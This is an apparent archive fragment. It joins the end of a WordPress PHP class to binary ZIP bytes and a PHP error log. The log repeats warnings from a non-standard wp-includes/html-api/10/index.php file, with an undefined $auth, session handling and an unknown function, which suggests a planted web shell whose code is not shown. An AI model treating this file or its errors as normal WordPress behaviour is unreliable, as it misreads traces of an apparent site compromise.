	 * Wakeup magic method.
	 *
	 * @since 6.4.2
	 */
	public function __wakeup() {
		throw new \LogicException( __CLASS__ . ' should never be unserialized' );
	}
}
PKgN\�,�n�n�	error_lognu�[���[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[13-Dec-2025 10:10:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[13-Dec-2025 10:10:45 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:16 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:22 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:22 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:24 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:32 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 05:54:32 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:54:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:55:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 05:57:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:25 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:27 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 570
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 06:04:33 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:02:57 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:02:57 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:23 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 828
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 829
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 830
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 831
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 832
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 833
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:03:46 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 499
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:34 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:41 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:43 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:44 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:04:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 07:09:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:18:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:18:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:07 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 08:19:10 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 08:19:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
